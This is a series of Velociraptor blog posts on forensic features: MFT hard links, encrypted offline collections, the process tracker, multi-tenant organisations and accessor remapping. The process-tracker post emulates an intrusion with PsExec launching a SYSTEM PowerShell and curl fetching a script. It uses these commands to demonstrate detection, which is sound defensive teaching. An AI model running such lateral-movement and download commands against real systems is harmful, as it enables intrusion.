When Velociraptor parses the MFT it attempts to reconstruct the full path of each entry by traversing the parent MFT entry, recovering its name etc. Previously, Velociraptor used one of the $FILE_NAME records (usually the long file name) to determine the parent MFT entry. However, this is not strictly correct as each $FILE_NAME record can a different parent directory. This surprising property of NTFS is called hard links.

You can play with this property using the fsutil program. The following adds a hard link to the program at C:/users/test/downloads/X.txt into a different directory.

C:> fsutil hardlink create c:\Users\Administrator\Y.txt c:\Users\Administrator\downloads\X.txt
Hardlink created for c:\Users\Administrator\Y.txt <<===>> c:\Users\Administrator\downloads\X.txt

The same file in NTFS can exist in multiple directories at the same time by use of hard links. The filesystem simply adds a new $FILE_NAME entry to the MFT entry for the file pointing at another parent directory MFT entry.

Therefore, when scanning the MFT, Velociraptor needs to report all possible directories each MFT entry can exist in (There can be many such directories, since each directory can have hard links itself too).

As a rule an MFT Entry can represent many files in different directories!

An example of the notepad MFT entry with its many hard links

Reassembling paths from MFT entries

When Velociraptor attempts to reassemble the path from an unallocated MFT entry it might encounter an error where the parent MFT entry indicated has already been used for some other file or directory.

In previous versions, Velociraptor simply reported these parents as potential parts of the full path, since for unallocated entries the path reconstruction is best effort. This lead to confusion among users with often nonsensical paths reported for unallocated entries.

In the latest release, Velociraptor is more strict in reporting parents of unallocated MFT entries, also ensuring that the MFT sequence numbers match. If the parent’s MFT entry sequence number does not match, Velociraptor’s path reconstruction indicates this as an error path.

Unallocated MFT entries may have errors reconstructing a full path

In the above example, the parent’s MFT entry has a sequence number of 5, but we need a sequence number of 4 to match it. Therefore the parent’s MFT entry is rejected and instead we report the error as the path.

The offline collection and encryption

Velociraptor’s offline collector is a pre-configured Velociraptor binary which is designed to be a single shot acquisition tool. You can build an Offline Collector by following the documentation. The Offline Collector does not require access to the server, instead simply collecting the specified artifacts into a Zip file (which can subsequently be uploaded to the cloud, or simply shared with the DFIR experts for further analysis).

Previously, Velociraptor only supported encrypting the Zip archive using a password. This is problematic because the password had to be embedded inside the collector configuration and so could be viewed by anyone with access to the binary.

In the latest release, Velociraptor supports asymmetric encryption to protect the acquisition Zip file. There are two asymmetric schemes: X509 encryption and PGP encryption. Having asymmetric encryption improves security greatly because only the public key needs to be included in the collector configuration. Dumping the configuration from the collection is not sufficient to be able to decrypt the collected data - the corresponding private key is also required!

This is extremely important for forensic collections since these will often contain sensitive and PII information.

Using this new feature is also extremely easy: One simply selects the X509 encryption scheme during the configuration of the offline collector in the GUI.

Configuring the offline collector for encryption

You can specify any X509 certificate here, but if you do not specify any, Velociraptor will use the server’s X509 certificate instead.

Velociraptor will generate a random password to encrypt the Zip file with, and then encrypt this password using the X509 certificate.

The resulting encrypted container

Since the ZIP standard does not encrypt the file names, Velociraptor embed a second zip called data.zip inside the container. The above illustrated the encrypted data zip file and the metadata file that describes the encrypted password.

Because the password used to encrypt the container is not known and needs to be derived from the X509 private key, we must use Velociraptor itself to decrypt the container (i.e. we can not use e.g. 7zip).

Decrypting encrypted containers with the server’s private key

Importing offline collections

Originally the offline collector feature was designed as a way to collect the exact same VQL artifacts that Velociraptor allows in the usual client-server model in situations where installing the Velociraptor client was not possible. The same artifacts can be collected into a zip file.

As Velociraptor’s post processing capabilities improved (using notebooks and server side VQL to enrich the analysis), people naturally wanted to use Velociraptor to post process offline collections too.

Previously Velociraptor did have the Server.Utils.ImportCollection artifact to allow an offline collection to be imported into Velociraptor but this did not work well because the offline collector simply did not include enough information in the Zip file to sufficiently emulate the GUI’s collection views.

In the recent release, the offline collector was updated to add more detailed information to the collection zip, allowing it to be easily imported.

Exported zip archives now contain more information

Exporting and Importing collections

Velociraptor has previously had the ability to export collections and hunts from the GUI directly, mainly so they can be processed by external tools.

But there was no way to import those collections back into the GUI. We just never imagined this would be a useful feature!

Recently Eric Capuano from ReconInfosec shared some data from an exercise using Velociraptor and people wanted to import this into their own Velociraptor installations so they can run notebook post processing on the data themselves.

The OpenSoc challenge https://twitter.com/eric_capuano/status/1559190056736378880

Our community has spoken though! This is a useful feature!

In the latest release exported files from the GUI use the same container format as the offline collector and therefore can be imported into a different Velociraptor installation seamlessly.

Handling of sparse files

When collecting files from the endpoint using the NTFS accessor we quite often encounter sparse files. These are files with large unallocated holes in them. The most extreme sparse file is the USN Journal.

Acquiring the USN journal

In the above example the USN journal size is reported to be 1.3Gb but in reality only about 40mb is occupied on disk. When collecting this file, Velociraptor only collects the real data and marks the file as sparse. The Zip file will contains an index file which specifies how to reassemble the file into its original form.

While Velociraptor stores the file internally in an efficient way, when exporting the file for use by other tools, they might expect the file to be properly padded out (so that file offsets are correct).

Velociraptor now allows the user the choice of exporting an individual file in a padded form (with sparse regions padded). This can also be applied to the entire Zip export in the GUI.

For very large sparse files, it makes no sense to pad so much data out (Some USN journal files are in the TB region), so Velociraptor implements a limit on padding of very sparse files.

Parsing User Registry Hives

Many Velociraptor artifacts simply parse keys and values from the registry to detect indicators. Velociraptor offers two methods of accessing the registry:

Using the Windows APIs
Employing the built in raw registry parser to parse the hive files.

While the first method is very intuitive and easy to use, it is often problematic. Using the APIs requires the user hive to be mounted. Normally the user hive is only mounted when a user logs in. Therefore querying registry keys in the user hive will only work on users that are currently logged in at the time of the check and miss other users (which are not currently logged in so their hive is not mounted).

To illustrate this problem consider the Windows.Registry.Sysinternals.Eulacheck artifact which checks the keys in HKEY_USERS\*\Software\Sysinternals\* for the Sysinternals EULA value.

In previous versions of Velociraptor, this artifact simply used the windows API to check these keys/values and completely missed any users that were not logged in.

While this issue is know, previously users had to employ complex VQL to customize the query so it can search the raw NTUSER.DAT files in each user registry. This is more difficult to maintain since it requires two separate types of artifact for the same indicator.

With the advent of Velociraptor’s dead disk capabilities it is possible to run a VQL query in a “virtualized” context consisting of a remapped environment. The end result is that the same VQL query can be used to run on raw registry hives. It is now trivial to apply the same generic registry artifact to a raw registry parse.

Remapping the raw registry hive to a regular registry artifact

All that is required to add raw registry capabilities to any registry artifact is:

Import the Windows.Registry.NTUser artifact
Use the MapRawRegistryHives helper function from that artifact to set up the mappings automatically.
Call the original registry query using the registry accessor. In the background this will be remapped to the raw registry accessor automatically.

Conclusions

There are many more new features and bug fixes in the latest release.

The Velociraptor process tracker

Wed, 07 Sep 2022 00:00:00 +0000

One of the advantages of running Velociraptor on the endpoint constantly is the ability to monitor the endpoint using client monitoring queries. Gaining visibility to volatile information is critical to reconstructing past activity and responding to new threats.

Commonly, attackers subvert the endpoint by creating new processes. For example, an attacker might execute malicious office macros as their initial compromise, but then follow it by launching PowerShell or C# code - or commonly Living Off The Land binaries (LOLBins).

We can use information about processes to identify suspicious processes which may represent malicious activity. In the next example I will explore a typical case and how it can be investigated using Velociraptor.

A Typical intrusion

A common lateral movement methodology is using PsExec.exe to create a system level service (usually remotely). I will run the following commands to emulate typical attacker activities:

psexec.exe /s powershell
ping.exe www.google.com
curl.exe -o script.ps1 https://www.google.com/
notepad.exe

First I create a system level shell with PsExec.exe, then I perform some reconnaissance on the network. Then I download a tool from a remote system. Finally I run my malicious process (in this case I use notepad.exe but in real life this will be some backdoor like Cobalt Strike).

Responding to this system.

For this example, suppose I was able to identify the malicious process (notepad.exe) using other means (for example the Windows.Detection.Yara.Process artifact by scanning process memory).

Now I need to get more context about this process:

Where did it come from?
Who started it and when?
What other activity was done around the time the process was started?

To answer the first question we need to see which process was the parent of the malicious process (and construct the full call chain).

For this example I will use Process Hacker - a very popular GUI for inspecting processes.

Process Hacker output of our suspicious process

Normally Process Hacker displays processes in a tree form - we can see which process spawned each process. But in this case, there is no parent shown for notepad.exe. Closer inspection shows that the parent process has actually exited, so Process Hacker has no further information about it.

This limitation of process inspection is central to live triage - the API can not provide any information about processes that have already exited. Therefore, parent/child relationships are broken.

Using Velociraptor to gather process context

Now, I will use Velociraptor’s Generic.System.Pstree artifact to reconstruct the process call chain of all processes on the system. I will enable the collection of the process tree visualization.

Collecting the Process Tree

The artifact collects process call trace information from all processes by following their parent/child relationships. I now filter the table to just show the notepad.exe process, and see that the process call tree looks very suspicious!

Velociraptors Generic.System.Pstree artifact can clearly show the call chain

Velociraptor’s Generic.System.Pstree artifact clearly shows the full call chain - the process was started through a PSEXESVC.exe service and powershell. This additional context shines light on the initial intrusion pathway.

Viewing sibling processes

Launching notepad.exe is the final stage of a more complete attack chain. Let’s inspect the parent process in our PsTree collection (powershell.exe) to learn what other sibling processes (to our suspicious notepad.exe) were launched as part of the original attack chain.

Inspecting the powershell process

Clicking the Process Tree button brings out the new Process Tree visualization - rendering all the children of the powershell and their respective children.

Inspecting the full process chain of the powershell process

As can be clearly seen from this visualization, Velociraptor reports seeing the ping.exe process first, then the curl.exe process and finally the notepad.exe process. You might also notice that curl.exe as shown in the visualization has already exited by the time the process tree was collected!

How can Velociraptor show the complete process call chain?

The process call chain is very useful for us to gather some important context but how does Velociraptor know about processes that have already exited? After all the API will not reveal this information which is why Process Hacker can not construct the full call chain?

One of the most exciting additions to Velociraptor in recent releases was the addition of the process tracker. The Process tracker is an internal tool that keeps track of processes and their children continuously. By tracking historical process activity on the end point we can answer questions like Which process launched this Process ID? quickly, even if the original parent has already exited - we do not need to rely on the API to gather this information.

The diagram below illustrates how the process tracker works

The Velociraptor process tracker architecture

The tracker accepts process information from two potential sources:

An event query to feed it real time process start/end events.
A VQL query that runs periodically to refresh the complete state of running processes.

These are implemented by way of

The Windows.Events.TrackProcesses artifact uses ETW to watch for the Sysmon Process start events (ID 1) for real time information, as well as periodically running a complete pslist() to synchronize its internal state.
If you do not want to run Sysmon, you can choose to collect the Windows.Events.TrackProcessesBasic artifact which only refreshes the tracker with a periodic pslist() API call.
If you do not collect any specialized artifacts to track processes, the tracker will fall back to a regular pslist() based dummy implementation. This will give the same results as before (i.e. it is unable to see previously exited processes) but all process tracker VQL commands work as usual.

This means that as an artifact writer you can always use the process tracker as a complete substitution to the traditional pslist() plugin! Depending on how the administrator chooses to do the actual tracking, your artifact may gain access to more details.

While it is preferable to populate the process start events with live Sysmon events, it is not strictly necessary. Sysmon feed with provide a more accurate real time feed of process start events. While the alternative pslist() style tracking method is very low resource, it may miss short lived processes.

Accessing the tracker from VQL

The tracker is available for use from VQL using the following VQL plugins:

process_tracker_pslist() This plugin is a drop in replacement for the pslist() plugin. If the tracker is enabled it will also contain exited process information.
process_tracker_callchain() provides the full call chain for a given process ID as an array of process entries.
process_tracker_get() Looks up a single Process ID in the tracker to return its entry if exists.
process_tracker_tree() Provides the full process tree rooted at the specified process ID so it can be visualized in the GUI.

Comparing the process tracker to EDR

Collecting process call chains is very central to detection engineering and therefore is an integral feature of many EDR solutions.

Most EDR solutions work by relaying process start events to a central location such as a SIEM and then using database queries to reconstruct the process call chain from historical data. This also allows viewing historical process information.

Velociraptor’s design philosophy is endpoint-centric - rather than forward all the data to a large backend and query across process start events from ALL endpoints, Velociraptor’s process tracker limits the analysis to the process on the endpoint itself. This naturally limits the total number of process we need to track and makes tracking much easier because we do not need to query across the entire data set for all clients.

Process Tracker challenges

The following describes some of the issues in implementation of the process tracker we have found (so far).

Process ID reuse

While in theory process IDs uniquely identify a process, in reality (at least on Windows) process ID’s are reused aggressively. Accounting for this is not trivial - For example, if a new process is discovered with a parent ID of 5, we can not just search for a process with ID 5 as it’s parent. Since this ID could have been reused and belong to a completely new process.

Velociraptor’s tracker keeps track of reused process ID’s by using the combination of process ID and start time to uniquely identify the process. If the tracker detects a process has exited, it renames the old process in the form of pid-starttime while creating a new process entry in the usual form of pid.

Pid reuse causes process ID’s to be suffixed with their start time

Other tools use a unique identifier such as a GUID to uniquely identify a process. For example, Sysmon derives a GUID based on process ID, start time, machine id etc to derive a globally unique identifier to a process.

While a GUID solves the issue of uniquely identifying a process within a single tool it is not a useful device for Velociraptor’s queries, which typically enrich data from external sources.

For example, if we used GUID to uniquely identify processes in the tracker, a VQL query is unable to enrich the DNS ETW source with process call chains. The ETW subsystem only provides a Process ID as an indicator of the process that made the DNS query. There is no way for Velociraptor to go from a process ID to a unique GUID directly (precisely because a PID by itself is missing critical data that makes it a unique identifier).

Therefore Velociraptor’s tracker retains the process ID in the tracker as the ultimate key by which we can query for a process. This way we can always convert a PID to a proper call chain without being confused by PID reuse. When the tracker detects the ID no longer represents the process uniquely (i.e. the PID has been reused) the tracker can update the ID and all references to it automatically, so a search for the same PID will fetch the new process not the old one.

What is stored in the process tracker.

The Velociraptor Process Tracker is simply a database that stores information about each process. The process entry in the tracker can contain any arbitrary data as populated from the process information queries. For example, when using Sysmon as the process start source, we can populate the tracker with quite a lot of additional information such as executable hashes, original executable name etc.

We can choose to add additional enrichment to store in the tracker by enabling the AddEnrichments parameter when configuring the Windows.Events.TrackProcesses artifact. These may increase the overall load on the endpoint (due to the additional work in calculating hashes etc) but will provide better quality data in a response.

Enriching tracked process information

Conclusions

The Process Tracker is a very exciting feature and can help resolve incidents quickly by providing invaluable context. However it is only useful when Velociraptor is constantly running on the endpoint. If you usually use Velociraptor’s offline collector to just collect a point in time snapshot the process tracker will not be able to provide information about exited processes.

If you like the new process tracker feature, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Velociraptor 0.6.6 Release

Wed, 07 Sep 2022 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.6 is now out. This release has been in the making for a few months now and has a lot of new features and bug fixes.

In this post I will discuss some of the interesting new features.

Multi-Tenant mode

The largest improvement in the 0.6.6 release by far is the introduction of organizational division within Velociraptor. Velociraptor is now a fully multi-tenanted application. Each organization is like a completely different Velociraptor installation, with unique hunts, notebooks and clients:

Organizations can be created and deleted easily with no overheads.
Users can seamlessly switch between organizations using the GUI.
Operations like hunting and post processing can occur across organizations.

When looking at the latest Velociraptor GUI you might notice the organizations selector in the User Setting page.

The latest User Settings page

This allows the user to switch between the different organizations they belong in.

Multi-Tenanted example

Let’s go through a quick example of how to create a new organization and use them in practice.

Multi-Tenancy is simply a layer of abstraction in the GUI separating Velociraptor objects (such as clients, hunts, notebooks etc) into different organizational units.

You do not need to do anything specific to prepare for a multi-tenant deployment. Every Velociraptor deployment can create a new organization at any time without affecting the current install base at all.

By default all Velociraptor installs (including upgraded ones) have a root organization which contains their current clients, hunts, notebooks etc (You can see this in the screenshot above). If you choose to not use the multi-tenant feature, your Velociraptor install will continue working with the root organization without change.

Suppose a new customer is on-boarded but they do not have a large enough install base to warrant a new cloud deployment (with the associated infrastructure costs). I want to create a new organization for this customer in the current Velociraptor deployment.

Creating a new Organization

To create a new organization I simply run the Server.Orgs.NewOrg server artifact from the Server Artifacts screen.

Creating a new organization

All I need to do is simply give the organization a name.

New organization is created with a new OrgId and an Admin User

Velociraptor uses the OrgId internally to refer to the organization but the organization name is used in the GUI to select the different organizations. The new organization is created with the current user being the new administrator of this org.

Deploying clients to the new organization.

Since all Velociraptor agents connect to the same server, there has to be a way for the server to identify which organization each client belongs in. This is determined by the unique nonce inside the client’s configuration file. Therefore each organization has a unique client configuration that should be deployed to that organization.

I will list all the organizations on the server using the Server.Orgs.ListOrgs artifact. Note that I am checking the AlsoDownloadConfigFiles parameter to receive the relevant configuration files.

Listing all the organizations on the server

The artifact also uploads the configuration files.

Viewing the organizations’ configuration files

Now I go through the usual deployment process with these configuration files and prepare MSI, RPM or Deb packages as normal.

Switching between organizations.

I can now switch between organizations using the organization selector.

Switching between orgs

Now the interface is inside the new organization

Viewing an organization

Note the organization name is shown in the user tile, and client id’s have the org id appended to them to remind us that the client exists within the org.

The new organization is functionally equivalent to a brand new deployed server! It has a clean data store with new hunts, clients, notebooks etc. Any server artifacts will run on this organization only and server monitoring queries will also only apply to this organization.

Adding other users to the new organization

By default, the user which created the organization is given the administrator role within that organization. Users can be assigned arbitrary roles within the organization, so for example a user may be an administrator in one organization but a reader in another organization.

You can add new users or change the user’s roles using the Server.Utils.AddUser artifact. When using basic authentication, this artifact will create a user with a random password. The password will then be stored in the server’s metadata where it can be shared with the user. (We normally recommend Velociraptor to be used with SSO such as OAuth2 or SAML and not to use passwords to manage access).

Adding a new user into the org

View the user’s password in the server metadata screen. (You can remove this entry when done with it or ask the user to change their password).

View the new user password in the server metadata screen

You can view all users in all orgs by collecting the Server.Utils.ListUsers artifact within the root org context.

Viewing all the users on the system

Although Velociraptor respects the assigned roles of users within an organizations, at this stage this should not be considered as an adequate security control. This is because there are obvious escalation paths between roles on the same server. For example, currently an administrator role by design has the ability to write arbitrary files on the server and run arbitrary commands (primarily this functionality allows for post processing flows with external tools).

This is currently also the case in different organizations, so an organization administrator can easily add themselves to another organization or indeed to the root organization, change their own roles etc.

Velociraptor is not designed to contain untrusted users to their own organization unit at this stage, instead allowing administrators flexibility and power.

GUI Improvements

The 0.6.6 release introduces a number of other GUI improvements

Updating user’s passwords

Usually Velociraptor is deployed in production using SSO such as Google’s OAuth2 and in this case user’s manage their password using the provider’s own infrastructure.

However it is sometimes convenient to deploy Velociraptor in Basic authentication mode (for example for on-premises or air gaped deployment). Velociraptor now offers the ability for users to change their own passwords within the GUI.

Users may update their passwords in the GUI

Allow notebook GUI to set notebooks to public.

Previously notebooks could be shared with specific other users but this proved unwieldy for larger installs with many users. In this release Velociraptor offers a notebook to be public - this means the notebook will be shared with all users within the org.

Sharing a notebook with all users

More improvements to the process tracker

The experimental process tracker is described in more details here, but you can already begin using it by enabling the Windows.Events.TrackProcessesBasic client event artifact and using artifacts just as Generic.System.Pstree, Windows.System.Pslist and many others.

A new context menu is now available to allow sending any table cell data to an external service.

Sending a cell content to an external service

This allows for quick lookups using VirusTotal or a quick CyberChef analysis. You can also add your own send to items in the configuration files.

Conclusions

Postprocessing Collections

Wed, 03 Aug 2022 00:00:00 +0000

Traditionally the digital forensic process consists of several distinct phases:

The collection or acquisition phase consists of collecting as much evidence as possible from the endpoint.
Once data is collected, the data is parsed and analyzed on a different system, to make inferences about the case.

Traditionally, the acquisition phases consists of a bit for bit copy of the disk and memory. However in modern DFIR investigations, this is just not practical due to the large volumes of data involved.

Modern DFIR investigations use a triaging approach, where selected high value files are collected from the endpoint (For example Kape is a commonly used Triaging tool for collecting files).

Typically triage collections consist of collecting event log files, the $MFT, the USN Journal, registry hives etc.

Once files are collected, they are typically parsed using various parsers and single purpose tools. Traditionally using tools such as Plaso, Eric Zimmerman’s tools and various specialized scripts.

In the following discussion we refer to the Windows.KapeFiles.Targets artifact. This artifact is not related to the commercial Kape product. The artifact is generated from the open source KapeFiles project on GitHub - an effort to document the path location of many bulk file evidence sources.

The Velociraptor approach to triage

Velociraptor is a one stop shop for all DFIR needs. It already includes all the common parsers (e.g. NTFS artifacts, EVTX, LNK, prefetch parsers and many more) on the endpoint itself. All this capability is made available via VQL artifacts - simple YAML files containing VQL queries that can be used to perform the parsing directly on the endpoint.

New Velociraptor users tend to bring the traditional DFIR approach to a distributed setting. Newer users prefer to use the Windows.KapeFiles.Targets artifact to collect those same files that are traditionally collected for triage using Velociraptor. Files such as event logs, $MFT, prefetch etc are collected from the endpoint to the server (sometimes consisting of a few GB of data).

But now there is a common problem - how to post process these raw files to extract relevant information?

New users simply export the raw files from Velociraptor and then use the traditional single use tools on the raw files. However, can we use Velociraptor itself to parse these raw files on the server?

This blog post is about this use case: How can we apply Velociraptor’s powerful parsing and analysis capabilities to the collected bulk data from the Windows.KapeFiles.Targets artifact?

Collecting bulk files with Windows.KapeFiles.Targets

In this example I will perform a KapeFiles collection on my system. I have selected the BasicCollection as a reasonable trade off between collecting too much data but providing important files such as event logs, registry hives and the $MFT.

Collecting KapeFiles targets

Once the collection is complete, the collection has transferred about 600mb of data in a couple of minutes.

Collecting KapeFiles results

The Windows.KapeFiles.Targets artifact is purely a collection artifact - it does not parse or analyze any files on the endpoint, instead it simply collects the bulk data to the server. All the files that were transferred are visible in the Uploaded Files tab.

Collecting KapeFiles Uploads

Postprocessing downloaded files

Our first example is to parse the prefetch files with the Windows.Timeline.Prefetch artifact.

Since Velociraptor’s data store is just a directory on disk it is easy to just read the files. We can simply provide the artifact with the relevant path on disk to search for prefetch files and parse them.

I will click on the Notebook Tab to start a new notebook and enter the following VQL in a cell (My test system uses F:/tmp/3/ as the filestore).

LET FilePath = "F:/tmp/3/orgs/OHBHG/clients/C.dc736eeefcc58a6c-OHBHG/collections/F.CBJH2GD2ULRAQ/uploads"

SELECT * FROM Artifact.Windows.Timeline.Prefetch(prefetchGlobs=FilePath+"/**/*.pf")

Here the path on disk where the collection results are stored contain the ClientID and FlowID (In this case there is also an Org ID). Generally this path pattern will work for all collections.

The VQL then simply calls the artifact Windows.Timeline.Prefetch with the relevant glob allowing it to search for prefetch files on the server.

Notebooks contain cells which help the user to evaluate VQL queries on the server. Remember that notebook queries always run on the server and not on the original client. This post-processing query will parse the prefetch files on the server itself.

Simple parsing of server collected files

There are a number of disadvantages with this approach:

Since the files are parsed on the server, the results will contain the full path to the server files (including the client id, flow id and org id).
For this to work well we need to really understand how the artifact works - some artifacts accept a list of globs that allow them to find certain files in non standard locations. These parameters will be named differently in different artifacts and might not even provide that level of customization.
Some artifacts perform more complex operations, like enriching with WMI queries or other API calls. Because this query is running on the server it may mix server side information with the client side information causing confusing results.

The main difficulty is that artifacts are typically written with the expectation that they will be running on the endpoint. Some artifacts search for files in certain locations and may not provide the customization to be able to run on the server.

Remapping accessors

In recent versions of Velociraptor, a feature called remapping was introduced. The original purpose of remapping was to allow Velociraptor to be used on a dead disk image, but the feature had proved to be more widely useful.

Velociraptor provides access to files using an accessor. An accessor can be thought of as simply a driver that presents a filesystem to the various plugins within VQL. For example, the registry accessor presents the registry as a filesystem, so we can apply glob() to search the registry, yara() to scan registry values etc.

Remapping is simply a mechanism where we can substitute one accessor for another. Let’s apply a remapping so we can run the Windows.Timeline.Prefetch artifact with default parameters.

LET _ <= remap(clear=TRUE, config=regex_transform(source='''
    remappings:
      - type: mount
        from:
          accessor: fs
          prefix: "/clients/ClientId/collections/FlowId/uploads/auto/"
        on:
          accessor: auto
          prefix: ""
          path_type: windows
''', map=dict(FlowId=FlowId, ClientId=ClientId)))

SELECT * FROM Artifact.Windows.Timeline.Prefetch()

The above VQL builds a remapping configuration by substituting the ClientId and FlowId into a template (this relies on the fact that Flow Notebooks are pre-populated with ClientId and FlowId variables).

The remapping configuration performs a mount operation from the file store accessor rooted at the collection’s upload directory onto the root of the auto accessor. In other words, whenever subsequent VQL attempts to open a file using the auto accessor, Velociraptor will remap that to the file store accessor rooted at the collection’s top level. Because the Windows.KapeFiles.Targets artifact preserves the filesystem structure of collected files, the artifact should be able to find the files on the server in the same location they are found on the endpoint.

This allows us to just call the artifact directly without worrying about customizing it specifically. This approach is conceptually similar to building a virtual environment that emulates the endpoint but using files found on the server.

Parsing of server collected files using a remapping

Remapping the NTFS accessor

Let’s now try to parse the $MFT with the Windows.NTFS.MFT artifact.

Parsing of $MFT on the server

This does not work because the server does not have the ntfs accessor! The Windows.NTFS.MFT artifact will try to open the $MFT from the default path C:\$MFT using the ntfs accessor because this is how we normally access the $MFT file on the endpoint. But on the server we want to open the collected $MFT file using the filestore. We will have to add another mapping for that!

LET _ <= remap(clear=TRUE, config=regex_transform(source='''
    remappings:
      - type: mount
        from:
          accessor: fs
          prefix: "/clients/ClientId/collections/FlowId/uploads/ntfs/"
        on:
          accessor: ntfs
          prefix: ""
          path_type: ntfs

''', map=dict(FlowId=FlowId, ClientId=ClientId)))

SELECT * FROM Artifact.Windows.NTFS.MFT()

This maps the ntfs branch of the collection upload to the ntfs accessor. Now when the VQL opens files with the ntfs accessor it will actually be fetched from the server’s filestore.

Parsing of $MFT on the server with filestore remapping

Registry mapping

For our last example, we wish to see the list of installed programs on the system by collecting the Windows.Sys.Programs artifact. That artifact simply enumerates the keys under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. To make this work we need to mount a virtual SOFTWARE registry hive in such a way that when the artifact accesses that key, the internal raw registry parser will be used to retrieve those values.


LET _ <= remap(clear=TRUE, config=regex_transform(source='''
    remappings:
        - type: mount
          from:
            accessor: raw_reg
            prefix: |-
              {
                "Path": "/",
                "DelegateAccessor": "fs",
                "DelegatePath": "/clients/ClientId/collections/FlowId/uploads/auto/C:/Windows/System32/config/SOFTWARE"
              }
            path_type: registry
          "on":
            accessor: registry
            prefix: HKEY_LOCAL_MACHINE\Software
            path_type: registry
''', map=dict(FlowId=FlowId, ClientId=ClientId)))

SELECT * FROM Artifact.Windows.Sys.Programs()

The above directive instructs Velociraptor to use the raw_reg accessor to parse the file on the server, and mounts it under the HKEY_LOCAL_MACHINE\Software key in the registry accessor.

Parsing of raw registry hives

A similar approach can be used to mount each user hive under /HKEY_USERS/

Automating the remapping

The technique shown above can be extended to support multiple artifacts but it is tedious to write by hand. Luckily there is an artifact on the Artifact Exchange called Windows.KapeFiles.Remapping to automate the remapping construction:

Remap standard registry hives e.g. HKEY_LOCAL_MACHINE/Software
Remap user hives on HKEY_USERS/<Username>
Mount ntfs and auto accessors
Disable plugins which can not work on files (e.g. pslist, wmi etc)

The result is easy to use. In the below I unpack the Scheduled Tasks:

LET _ <=
 SELECT * FROM Artifact.Windows.KapeFiles.Remapping(ClientId=ClientId, FlowId=FlowId)

 SELECT * FROM Artifact.Windows.System.TaskScheduler()

Automating the remapping steps

I can seamlessly use the EVTX hunter artifact

Searching for event IDs from collected EVTX files

Conclusions

In the previous section we saw how it is possible to post process collected files on the server by reusing the standard Velociraptor artifacts (that were written assuming they are running on the endpoint).

Is that a good idea though?

Generally we do not recommend to use this methodology. Although it is commonly done in other tools, collecting bulk files from the endpoint and then parsing them offline is not an ideal method for a number of reasons:

It does not scale - typically a Windows.KapeFiles.Targets collects several Gigabytes of data. While this is acceptable for a small number of hosts, it is impractical to collect that much data from several thousand endpoints. Therefore effective hunting requires parsing the files directly on the endpoint.
Bulk files from the endpoint are a limited source of data - there is a lot more information that reflects the endpoint’s state. From WMI queries, process memory captures, ARP caches etc.
It is always difficult to guess exactly which files will be required. In a Windows.KapeFiles.Targets collection, we need to select the appropriate targets to collect. Collecting too much is impractical and collecting too little might miss some important information.

For example consider the following artifact Exchange.HashRunKeys - an artifact that displays programs launched from Run keys together with their hashes. Because it is impossible to know prior to collection which binaries are launched from the Run keys, usually the triage capture does not acquires these binaries. When we parse the registry hives on the server, we are missing the actual hashes:

Mapping to the triage bundle may miss crucial details

However collecting the artifact on the endpoint works much better.

Collecting directly on the endpoint works much better

Parsing certain artifacts on the server is impossible to do. For example, the above EVTX hunter enriches the SID in the event by calling the lookupSID() VQL function (that calls the Windows API). Clearly this can not work on the server. Similarly resolving the event messages is also problematic when parsing the event logs offline.

Rather than collecting bulk data using Windows.KapeFiles.Targets, Velociraptor users should collect other, more capable artifacts, that parse information directly on the endpoint (even if it is in addition to Windows.KapeFiles.Targets). As the investigation progresses, more artifacts can be collected as needed. We treat the endpoint as the ultimate source of truth and simply query it repeatedly.

The traditional collect, transfer, analyze workflow was born from an era when forensic tools were less capable and could not run directly on the endpoint. Investigators had a one shot window for acquiring as much data as possible, hoping they don’t need to go back and fetch more.

With the emergence of powerful, and always connected, DFIR tools like Velociraptor, we can bring the analysis capabilities directly to the endpoint. Because analysis is so fast now, one can quickly go back to the endpoint and get further information iteratively.

If you like the remapping feature, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Velociraptor 0.6.5 Release

Tue, 21 Jun 2022 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.5. This release has been in the making for a few months now and has a lot of new features.

In this post I will discuss some of the interesting new features.

Table transformations

Velociraptor collections or hunts are usually post processed or filtered in Notebooks. This allows users to refine and post process the data in complex ways. For example, to view only the Velociraptor service from a hunt collecting all services (Windows.System.Services), one would click on the Notebook tab and modify the query by adding a WHERE statement.

Filtering rows with VQL

In our experience this type of quickly filtering/sorting a table is very common and sometimes we dont really need the full power of VQL. In 0.6.5 we introduced table transformations - simple filtering/sorting operations on every table in the GUI.

Transform any table in the GUI

We can now select simple table transformations like filtering or sorting. The GUI will automatically generate the required query.

Setting simple table transformations

Multi-Lingual support

Velociraptor’s community of DFIR professionals is global! We have users from all over the world and although most users are fluent in English, we wanted to acknowledge our truly international user base by adding internationalization into the GUI. You can now select from a number of popular languages (Don’t see your language here? We would love additional contributions!).

Select from a number of popular languages

Here is a screenshot showing our German translations

The Velociraptor interface in German

New interface themes

The 0.6.5 release expanded our previous offering of 3 themes into 7 themes with a selection of light and dark themes. We even have a retro feel ncurses theme that looks like a familiar terminal…

A stunning retro ncurses theme

Error handling in VQL

Velociraptor is simply a VQL engine; Users write VQL artifacts and run these queries on the endpoint.

Previously it was difficult to tell when VQL encountered an error. Sometimes a missing file is expected, and other times it means something went wrong. From Velociraptor’s point of view, as long as the VQL query ran successfully on the endpoint the collection was a success. The VQL query can generate logs to provide more information but the user had to actually look at the logs to determine if there was a problem.

For example, in a hunt parsing a file on the endpoints, it was difficult to tell which of the thousands of machines failed to parse a file. Previously, Velociraptor marked the collection as successful if the VQL query ran - even if it returned no rows because the file failed to parse.

In 0.6.5 there is a mechanism for VQL authors to convey more nuanced information to the user by way of error levels. The VQL log() function was expanded to take a level parameter. When the level is ERROR the collection will be marked as failed in the GUI.

A failed VQL query

Query Log messages have their own log level

Custom Timezone support

Timestamps are a central part of most DFIR work. Although it is best practice to always work in UTC times it is sometimes a real pain to have to convert from UTC to local time in one’s head! Since Velociraptor always uses RFC3389 to represent times unambiguously but for human consumption it is convenient to represent these times in different local times.

You can now select a more convenient timezone in the GUI by clicking your user preferences and setting the relevant timezone.

Selecting a custom timezone

The preferred time will be shown in most times in the UI

Timezone selection influences how times are shown

